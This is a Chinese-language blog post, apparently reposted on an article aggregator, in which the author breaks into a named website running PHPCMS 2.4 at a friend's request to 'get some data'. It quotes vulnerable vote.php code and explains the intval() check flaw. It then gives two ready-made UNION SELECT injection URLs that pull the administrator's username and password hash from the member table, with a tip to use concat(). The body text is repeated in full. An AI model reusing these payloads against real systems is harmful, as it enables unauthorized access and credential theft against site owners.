PHPCMS2.4中一个有趣的洞洞
程序员文章站
2022-03-06 18:29:27
今天,朋友丢来一个站,说想拿点资料,但搞了很久老搞不下,叫我帮忙看看
打开一看发现是phpcms2.4,很旧的版本了~~
搞了一下发现存在“上传漏洞”和“远程文件包含漏洞”的页面... 08-10-08...
今天,朋友丢来一个站,说想拿点资料,但搞了很久老搞不下,叫我帮忙看看
打开一看发现是phpcms2.4,很旧的版本了~~
搞了一下发现存在“上传漏洞”和“远程文件包含漏洞”的页面都被删了,晕,自己挖个把,反正版本旧
挖了1个多小时,发现vote.php中有这样一段代码:
...省略....
case 'result':
if(!intval($voteid)){
message('参数错误!',$php_referer);
}
$query = $db->query("select * from $table_vote_subject where voteid='$voteid' and passed=1");
$vote=$db->fetch_array($query);
$subject=$vote[subject];
$totalnumber=$vote[totalnumber];
$fromdate=date("y-m-d",$vote[fromtime]);
$todate=$vote[totime] ? date("y-m-d",$vote[totime]) : "";
$query = $db->query("select * from $table_vote_option where voteid='$voteid'");
while($op=$db->fetch_array($query)){
$op[percent1]=$totalnumber ? round(100*$op[number]/$vote[totalnumber],2)."%" : "0%";
$op[percent2]=$totalnumber ? (100-round(100*$op[number]/$vote[totalnumber],0))."%" : "100%";
$ops[]=$op;
}
include template('vote_result');
break;
}
....省略....
代码没问题把?真的吗?再仔细看看!!
“if(!intval($voteid))” 这句代码的意思是啥?
如果提交过来的数据是整型并且不存在于数据库中的话,就返回“参数错误”。
那如果我们提交的数据不是整型呢?如果我们提交的数据不是整型,那么不管提交的数据是否存在于数据库中都不会返回“参数错误”的提示了,这样,注入漏洞就产生了~~哈哈
分别提交
“http://www.cndrt.cn/vote.php?action=result&;voteid=8 and 1=2 union select 1,username,3,4,5,6,7,8,9,10,11,12,13 from phpcms_member where userid=1/*””
“http://www.cndrt.cn/vote.php?action=result&;voteid=8 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from phpcms_member where userid=1/*””
就能查出管理员了
当然你也可以用concat()把账号密码同时抓出来~
打开一看发现是phpcms2.4,很旧的版本了~~
搞了一下发现存在“上传漏洞”和“远程文件包含漏洞”的页面都被删了,晕,自己挖个把,反正版本旧
挖了1个多小时,发现vote.php中有这样一段代码:
...省略....
case 'result':
if(!intval($voteid)){
message('参数错误!',$php_referer);
}
$query = $db->query("select * from $table_vote_subject where voteid='$voteid' and passed=1");
$vote=$db->fetch_array($query);
$subject=$vote[subject];
$totalnumber=$vote[totalnumber];
$fromdate=date("y-m-d",$vote[fromtime]);
$todate=$vote[totime] ? date("y-m-d",$vote[totime]) : "";
$query = $db->query("select * from $table_vote_option where voteid='$voteid'");
while($op=$db->fetch_array($query)){
$op[percent1]=$totalnumber ? round(100*$op[number]/$vote[totalnumber],2)."%" : "0%";
$op[percent2]=$totalnumber ? (100-round(100*$op[number]/$vote[totalnumber],0))."%" : "100%";
$ops[]=$op;
}
include template('vote_result');
break;
}
....省略....
代码没问题把?真的吗?再仔细看看!!
“if(!intval($voteid))” 这句代码的意思是啥?
如果提交过来的数据是整型并且不存在于数据库中的话,就返回“参数错误”。
那如果我们提交的数据不是整型呢?如果我们提交的数据不是整型,那么不管提交的数据是否存在于数据库中都不会返回“参数错误”的提示了,这样,注入漏洞就产生了~~哈哈
分别提交
“http://www.cndrt.cn/vote.php?action=result&;voteid=8 and 1=2 union select 1,username,3,4,5,6,7,8,9,10,11,12,13 from phpcms_member where userid=1/*””
“http://www.cndrt.cn/vote.php?action=result&;voteid=8 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from phpcms_member where userid=1/*””
就能查出管理员了
当然你也可以用concat()把账号密码同时抓出来~
推荐阅读
-
算法题:给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标。
-
在一个php中,我定义了两个表单,当第一个表单提交后,生成了第二个表单,提交第二个表单后,就取不到第一个表单的数据了,该怎么办?
-
Traits中的另一个有关问题
-
类文件中的方法名前加上一个&符号是什么意思
-
MYSQL的一个表中的数据已经达到了2000万条 怎么能更近一步优化
-
php中在文件倒数140个字节的地方插入一个字符串,文件指针却一直在文件末尾
-
在APACHE中,同一个IP配置两个虚拟主机的例子
-
php中http_build_query 的一个问题_PHP
-
MySQL中连接各个表的连接属性如何在语句中实现,是不是还得再创建一个表
-
在Linux中通过本地复制的方式创建多一个Oracle数据库